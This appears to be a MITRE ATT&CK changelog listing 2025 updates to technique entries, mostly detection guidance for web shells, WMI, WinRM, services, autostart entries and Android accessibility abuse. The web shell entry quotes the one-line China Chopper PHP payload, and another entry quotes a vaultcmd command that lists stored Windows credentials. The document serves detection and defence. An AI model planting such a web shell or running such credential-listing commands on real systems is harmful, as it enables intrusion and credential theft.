| modified | 2025-04-15 19:58:46.323000+00:00 | 2025-10-24 17:49:01.930000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: OS API Execution', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:42.332000+00:00 | 2025-10-24 17:48:56.077000+00:00 |
| x_mitre_detection | Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:18:46.651000+00:00 | 2025-10-24 17:48:59.607000+00:00 |
| x_mitre_detection | Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:19:04.087000+00:00 | 2025-10-24 17:48:40.055000+00:00 |
| x_mitre_detection | Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
Current version: 1.4
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:47.123000+00:00 | 2025-10-24 17:49:02.638000+00:00 |
| x_mitre_detection | Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:14.314000+00:00 | 2025-10-24 17:49:29.678000+00:00 |
| x_mitre_detection | Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. + +Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:19:21.267000+00:00 | 2025-10-24 17:48:34.033000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)). |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:19:33.981000+00:00 | 2025-10-24 17:48:48.647000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.0
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:20:02.082000+00:00 | 2025-10-24 17:48:26.629000+00:00 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:15:15.040000+00:00 | 2025-10-24 17:48:30.124000+00:00 |
| x_mitre_detection | There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Logon Session: Logon Session Creation', 'Web Credential: Web Credential Usage'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:20:22.744000+00:00 | 2025-10-24 17:49:04.036000+00:00 |
| x_mitre_detection | Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:38.649000+00:00 | 2025-10-24 17:48:54.254000+00:00 |
| x_mitre_detection | File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:47.211000+00:00 | 2025-10-24 17:49:02.831000+00:00 |
| x_mitre_detection | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2) |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:49.217000+00:00 | 2025-10-24 17:49:04.554000+00:00 |
| x_mitre_detection | Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:20:42.131000+00:00 | 2025-10-24 17:49:13.641000+00:00 |
| x_mitre_detection | Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Web Credential: Web Credential Usage'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:05.730000+00:00 | 2025-10-24 17:49:20.943000+00:00 |
| x_mitre_detection | Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Process: Process Creation', 'File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:34.688000+00:00 | 2025-10-24 17:48:50.387000+00:00 |
| x_mitre_detection | Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)
+
+<?php @eval($_POST['password']);>
+
+Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)
+
+File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)
+
+Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:10.209000+00:00 | 2025-10-24 17:49:25.722000+00:00 |
| x_mitre_detection | Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. |
Current version: 1.1
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Access', 'Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:21:30.628000+00:00 | 2025-10-24 17:49:26.444000+00:00 |
| x_mitre_detection | Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:“Windows Credentials”).(Citation: Malwarebytes The Windows Vault)
+
+Consider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)
+
+Consider monitoring file reads to Vault locations, %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\, for suspicious activity.(Citation: Malwarebytes The Windows Vault) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Active Directory: Active Directory Object Modification', 'Process: Process Creation', 'File: File Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:21:45.352000+00:00 | 2025-10-24 17:48:37.826000+00:00 |
| x_mitre_detection | Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + +Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014) |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Process: Process Creation', 'WMI: WMI Creation', 'Command: Command Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:01.648000+00:00 | 2025-10-24 17:48:19.670000+00:00 |
| x_mitre_detection | Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015) |
Current version: 1.5
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'WMI: WMI Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:50.950000+00:00 | 2025-10-24 17:49:06.119000+00:00 |
| x_mitre_detection | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)
+
+Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent) |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Process: Process Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Service: Service Metadata'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:22:03.699000+00:00 | 2025-10-24 17:48:51+00:00 |
| x_mitre_detection | Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS). |
Current version: 1.6
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow', 'Service: Service Creation', 'Command: Command Execution', 'File: File Metadata', 'Windows Registry: Windows Registry Key Creation', 'Driver: Driver Load', 'Service: Service Modification', 'Process: OS API Execution'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:16.076000+00:00 | 2025-10-24 17:48:33.408000+00:00 |
| x_mitre_detection | Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
+
+Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)
+
+Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.
+
+Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:58:37.982000+00:00 | 2025-10-24 17:48:53.539000+00:00 |
| x_mitre_detection | Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. + +Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. |
Current version: 1.0
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:22:19.165000+00:00 | 2025-10-24 17:49:18.777000+00:00 |
| x_mitre_detection | Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
Current version: 1.2
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['File: File Creation', 'Command: Command Execution', 'Process: Process Creation', 'File: File Modification'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:14.885000+00:00 | 2025-10-24 17:49:30.252000+00:00 |
| x_mitre_detection | Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.
+
+Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user. |
Current version: 1.3
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Module: Module Load', 'Process: Process Creation'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 19:59:19.125000+00:00 | 2025-10-24 17:49:33.993000+00:00 |
| x_mitre_detection | Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. + +The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. |
Current version: 1.0
Description:
Adversaries may utilize standard operating system APIs to gather account data. On Android, this can be accomplished by using the AccountManager API. For example, adversaries may use the getAccounts() method to list all accounts.(Citation: Android_AccountManager_Feb2025) On iOS, this can be accomplished by using the Keychain services.
If the device has been jailbroken or rooted, adversaries may be able to access Accounts without the users’ knowledge or approval.
Current version: 1.0
Description:
Adversaries may abuse the “linked devices” feature on messaging applications, such as Signal and WhatsApp, to register the user’s account to an adversary-controlled device. By abusing the “linked devices” feature, adversaries may achieve and maintain persistence through the user’s account, may collect information, such as the user’s messages and contacts list, and may send future messages from the linked device.
+Signal is a messaging application that uses the open-source Signal Protocol to encrypt messages and calls; similarly, WhatsApp is a messaging application that has end-to-end encryption and other security measures to protect messages and calls. Both applications have a “linked devices” feature that allows users to access their Signal and/or WhatsApp accounts from different devices, such as a Windows or Mac desktop, an iPad or an Android tablet.(Citation: WhatsApp_LinkDevice_NoDate)(Citation: Signal_LinkedDevices_NoDate)
+Adversaries may use Phishing techniques to trick the user into scanning a quick-response (QR) code, which is used to link the user’s Signal and/or WhatsApp account to an adversary-controlled device. For example, adversaries may masquerade QR codes as group invites, security alerts or as legitimate instructions for pairing linked devices. +Upon scanning the QR code in Signal, users may click on the “Transfer Message History” option to sync the linked devices, which may allow adversaries to collect more information about the user. Upon scanning the QR code in WhatsApp, the user’s device will automatically send an end-to-end encrypted copy of recent message history to the adversary-controlled device.
Current version: 3.0
Version changed from: 2.0 → 3.0
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | **This technique has been deprecated. Please use [Input Capt | t | 1 | Adversaries may abuse accessibility features in Android devi |
| > | ure](https://attack.mitre.org/techniques/T1417), [Input Inje | > | ces to steal sensitive data and to spread malware to other d | ||
| > | ction](https://attack.mitre.org/techniques/T1516), and [Inpu | > | evices. Accessibility features in Android are designed to as | ||
| > | t Prompt](https://attack.mitre.org/techniques/T1411) where a | > | sist users with disabilities, performing a variety of tasks, | ||
| > | ppropriate.** A malicious app could abuse Android's accessi | > | such as using Action Blocks to control lightbulbs, and chan | ||
| > | bility features to capture sensitive data or perform other m | > | ging the device’s user interface, such as changing the font | ||
| > | alicious actions.(Citation: Skycure-Accessibility) Adversar | > | size and adjusting contract or colors.(Citation: Google_Andr | ||
| > | ies may abuse accessibility features on Android to emulate a | > | oidAcsOverview) One example of how adversaries abuse acces | ||
| > | user's clicks, for example to steal money from a user's ban | > | sibility features is overlaying an HTML object mimicking a l | ||
| > | k account.(Citation: android-trojan-steals-paypal-2fa)(Citat | > | egitimate login screen. The user types their credentials in | ||
| > | ion: banking-trojans-google-play) Adversaries may abuse acc | > | the overlay HTML object, which is then sent to the adversari | ||
| > | essibility features on Android devices to evade defenses by | > | es.(Citation: SahinSRLabs_FluBot_Dec2021) Another example | ||
| > | repeatedly clicking the "Back" button when a targeted app ma | > | is a malicious accessibility feature acting as a keylogger. | ||
| > | nager or mobile security app is launched, or when strings su | > | The keylogger monitors changes on the EditText fields and s | ||
| > | ggesting uninstallation are detected in the foreground. This | > | ends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec | ||
| > | effectively prevents the malicious application from being u | > | 2021) This method of attack is also described in [Keylogging | ||
| > | ninstalled.(Citation: android-trojan-steals-paypal-2fa) | > | ](https://attack.mitre.org/techniques/T1417/001); whereas [A | ||
| > | buse Accessibility Features](https://attack.mitre.org/techni | ||||
| > | ques/T1453) captures the overall abuse of accessibility feat | ||||
| > | ures. | ||||
New Mitigations:
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_detection |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_tactic_type | ['Post-Adversary Device Access'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 15:16:29.002000+00:00 | 2025-10-27 17:12:01.143000+00:00 |
| description | **This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.** + +A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility) + +Adversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play) + +Adversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the "Back" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa) | Adversaries may abuse accessibility features in Android devices to steal sensitive data and to spread malware to other devices. Accessibility features in Android are designed to assist users with disabilities, performing a variety of tasks, such as using Action Blocks to control lightbulbs, and changing the device’s user interface, such as changing the font size and adjusting contract or colors.(Citation: Google_AndroidAcsOverview) + +One example of how adversaries abuse accessibility features is overlaying an HTML object mimicking a legitimate login screen. The user types their credentials in the overlay HTML object, which is then sent to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) + +Another example is a malicious accessibility feature acting as a keylogger. The keylogger monitors changes on the EditText fields and sends it to the adversaries.(Citation: SahinSRLabs_FluBot_Dec2021) This method of attack is also described in [Keylogging](https://attack.mitre.org/techniques/T1417/001); whereas [Abuse Accessibility Features](https://attack.mitre.org/techniques/T1453) captures the overall abuse of accessibility features. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_deprecated | True | False |
| x_mitre_version | 2.0 | 3.0 |
| external_references[0] | {'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1453', 'external_id': 'T1453'} | {'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1453', 'external_id': 'T1453'} |
